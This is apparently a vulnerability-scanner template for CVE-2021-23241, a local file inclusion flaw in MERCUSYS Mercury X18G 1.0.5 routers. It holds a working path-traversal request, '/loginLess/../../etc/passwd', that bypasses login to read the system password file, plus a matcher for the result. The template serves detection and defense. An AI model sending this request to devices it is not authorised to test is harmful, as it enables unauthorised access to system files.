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id : CVE-2021-23241
info :
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name : MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion
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author : daffainfo
severity : medium
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description : MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.
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reference :
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- https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md
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- https://www.mercusys.com/en/
- https://www.mercurycom.com.cn/product-521-1.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-23241
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score : 5.3
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cve-id : CVE-2021-23241
cwe-id : CWE-22
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epss-score : 0.00265
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cpe : cpe:2.3:o:mercusys:mercury_x18g_firmware:1.0.5:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : mercusys
product : mercury_x18g_firmware
tags : cve,cve2021,iot,lfi,router
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http :
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- method : GET
path :
- "{{BaseURL}}/loginLess/../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
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part : body
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regex :
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- "root:.*:0:0:"
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- type : status
status :
- 200